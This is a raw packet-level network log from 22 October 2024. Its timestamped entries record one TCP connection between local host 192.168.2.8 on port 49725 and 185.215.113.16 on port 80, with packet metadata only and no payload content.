Oct 22, 2024 19:25:11.614629030 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614638090 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614636898 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614648104 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614659071 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614669085 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614672899 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614680052 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614691973 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614721060 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614748955 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614759922 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614770889 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614780903 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614794016 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614805937 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614809990 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614816904 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614836931 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614847898 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614852905 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614869118 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614886045 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614897013 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614909887 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614921093 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614923954 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614933014 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614943981 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614952087 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614955902 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614968061 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.614972115 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.614980936 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615005970 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.615027905 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.615318060 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615330935 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615341902 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615362883 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615375996 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615377903 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.615381002 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615387917 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615397930 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.615406990 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615427017 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615449905 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.615477085 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.615505934 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615516901 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615526915 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615537882 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615550995 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615561962 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615565062 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.615573883 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615585089 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.615607977 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.615636110 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.615677118 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615689039 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615699053 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615709066 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615720987 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615730047 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.615734100 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615746021 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615756989 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615760088 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.615770102 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615781069 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.615782022 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615803003 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.615837097 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.615847111 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615858078 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615866899 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615879059 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615890026 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615902901 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615909100 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.615914106 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615926027 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615931034 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.615936995 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615947962 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.615948915 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615961075 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615972042 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.615983963 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.615993023 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.615998030 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.616009951 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.616013050 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.616030931 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.616043091 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.616051912 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.616053104 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.616065025 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.616075993 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.616086960 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.616087914 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.616101027 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.616107941 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.616112947 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.616144896 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.616173983 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.637445927 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.637465954 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.637479067 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.637533903 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.637553930 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.637566090 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.637584925 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.637639046 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.637692928 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.637702942 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.637712002 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.637743950 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.637742043 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.637742043 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.637742043 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.637742043 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.637742996 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.637742996 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.637742996 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.637742996 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.637842894 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.637841940 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.637842894 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.637854099 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.637870073 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.637878895 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.637891054 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.637892008 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.637897968 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.637912989 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.637914896 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.637972116 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.637980938 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638099909 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638113022 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638149977 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638164043 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638173103 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638183117 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638194084 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638202906 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638243914 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638258934 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638268948 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638278961 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638295889 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638309956 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638315916 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638320923 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638325930 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638336897 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.638336897 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.638336897 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.638338089 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.638437986 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.638437986 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.638442993 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638458967 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638469934 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638479948 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638489008 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638513088 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.638518095 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638533115 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638542891 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638556957 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.638556957 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.638582945 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.638643026 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638653040 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638662100 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638670921 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638683081 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638695002 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638708115 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.638741970 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.638741970 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.638760090 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638771057 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638782024 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638797045 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638811111 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638819933 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638818979 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.638834000 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638844013 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638851881 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.638878107 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.638900042 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.638931036 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638953924 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638963938 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638972998 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.638992071 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.639003038 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.639014959 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.639015913 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.639056921 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.639077902 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.639091015 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.639100075 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.639127970 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.642841101 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.642900944 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.642937899 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.642954111 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.642972946 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.642987967 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.642997980 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.642998934 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643012047 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643019915 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643023968 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643035889 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643038988 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643045902 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643058062 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643079996 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643104076 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643117905 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643134117 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643141985 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643151999 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643163919 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643174887 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643193007 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643209934 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643223047 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643225908 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643238068 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643249035 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643260002 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643277884 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643297911 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643337965 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643341064 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643352985 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643363953 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643373966 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643385887 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643398046 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643423080 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643424988 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643443108 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643452883 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643462896 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643464088 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643503904 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643533945 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643594027 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643608093 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643620014 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643646002 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643673897 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643687963 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643699884 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643709898 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643745899 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643744946 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643757105 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643765926 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643768072 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643804073 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643822908 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643826008 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643837929 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643847942 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643861055 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643872023 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643877983 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643882990 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643894911 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.643915892 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643937111 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.643958092 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644021034 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.644037962 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644049883 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644067049 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644078016 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644130945 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.644196033 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644207954 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644220114 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644242048 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644248009 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.644256115 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644268036 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644280910 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644282103 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.644315004 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644329071 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.644361973 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644367933 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.644373894 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644386053 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644396067 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644407988 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644418955 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644428015 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.644429922 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644438982 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644463062 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.644493103 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644498110 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.644505024 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644516945 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644526958 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644542933 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.644547939 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644561052 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644572020 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644582987 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644582987 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.644594908 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644623995 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.644646883 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.644731045 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644783020 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644789934 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.644833088 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644834995 CEST	49725	80	192.168.2.8	185.215.113.16
Oct 22, 2024 19:25:11.644851923 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644865036 CEST	80	49725	185.215.113.16	192.168.2.8
Oct 22, 2024 19:25:11.644876003 CEST	80	49725	185.215.113.16	192.168.2.8
